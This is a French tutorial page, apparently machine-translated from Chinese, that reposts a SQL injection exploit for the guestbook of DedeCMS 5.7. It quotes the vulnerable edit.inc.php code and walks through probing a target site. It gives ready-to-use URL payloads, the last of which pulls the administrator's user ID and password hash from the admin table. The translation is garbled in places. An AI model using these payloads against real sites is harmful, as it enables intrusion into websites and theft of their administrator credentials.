Maison > développement back-end > tutoriel php > dedecms5.7 le dernier SQL exploite la vulnérabilité d'injection de guestbook.php

dedecms5.7 le dernier SQL exploite la vulnérabilité d'injection de guestbook.php

不言
Libérer: 2023-03-23 13:16:02
original
12680 Les gens l'ont consulté

Cet article présente la dernière vulnérabilité d'injection SQL de dedecms5.7 à l'aide de guestbook.php. Maintenant, je le partage avec vous. Les amis dans le besoin peuvent s'y référer

<.>La version concernée est la 5.7

Le code spécifique du fichier de vulnérabilité edit.inc.php :

< ?php  

if(!defined(&#39;DEDEINC&#39;)) exit(&#39;Request Error!&#39;);  

   

if(!empty($_COOKIE[&#39;GUEST_BOOK_POS&#39;])) $GUEST_BOOK_POS = $_COOKIE[&#39;GUEST_BOOK_POS&#39;];  

else $GUEST_BOOK_POS = "guestbook.php";  

   

$id = intval($id);  

if(empty($job)) $job=&#39;view&#39;;  

   

if($job==&#39;del&#39; && $g_isadmin)  

{  

$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  

exit();  

}  

else if($job=='check' && $g_isadmin)  

{  

$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  

exit();  

}  

else if($job=='editok')  

{  

$remsg = trim($remsg);  

if($remsg!='')  

{  

//管理员回复不过滤HTML By:Errorera blog:errs.cc  

if($g_isadmin)  

{  

$msg = "<p class=&#39;rebox&#39;>".$msg."</p>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复:</font> }  

else 

{  

$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

$oldmsg = "<p class=&#39;rebox&#39;>".addslashes($row['msg'])."</p>\n";  

$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

$msg = $oldmsg.$remsg;  

}  

}  

//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  

$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  

exit();  

}  

//home:www.errs.cc  

if($g_isadmin)  

{  

$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

}  

else 

{  

$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

}
Copier après la connexion
Conditions requises pour que la vulnérabilité réussisse :

1. =off
2 Le fichier de vulnérabilité existe plus/guestbook.php et la table dede_guestbook doit également exister.

Comment juger s'il y a une vulnérabilité :

Ouvrez d'abord www.xxx.com/plus/guestbook.php pour voir les messages des autres personnes,
puis placez la souris sur [Répondre/Modifier] pour voir l'ID du message de quelqu'un d'autre. Notez ensuite l'ID
Visite :

www.xxx.com/plus/guestbook.php?action=admin&job=editok&msg=errs.cc'&id=存在的留言ID
Copier après la connexion
Après la soumission, s'il s'agit de la version dede5.7, "Modifié avec succès ou répondu à un message" apparaîtra, ce qui prouve que la modification a réussi

Revenez à www .xxx.com/plus/guestbook.php Vérifiez si l'ID de message que vous avez modifié a changé en errs.cc'

Si c'est le cas, cela prouve que la vulnérabilité ne peut pas être exploitée et php magic_quotes_gpc= doit être activé et désactivé

Si la modification échoue, alors le contenu de l'ID du message est toujours le même qu'avant, ce qui prouve que la vulnérabilité peut être exploitée.

Ensuite, visitez


www.xxx.com/plus/guestbook.php?action=admin&job=editok&id=存在的留言ID&msg=',msg=user(),email='
Copier après la connexion
puis revenez, le contenu de l'ID du message sera directement modifié en utilisateur mysql().

Ceci c'est probablement ainsi qu'il est utilisé. Si vous êtes intéressé, veuillez faire plus de recherches ! !

Enfin, certaines personnes peuvent dire comment casser le mot de passe du compte de gestion en arrière-plan Vous le saurez après vos propres recherches. Quoi qu'il en soit, il peut certainement être exposé (s'il ne peut pas être exposé, je ne le publierai pas) ! !

view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
Copier après la connexion
                                                                 

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Étiquettes associées:
php
source:php.cn
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal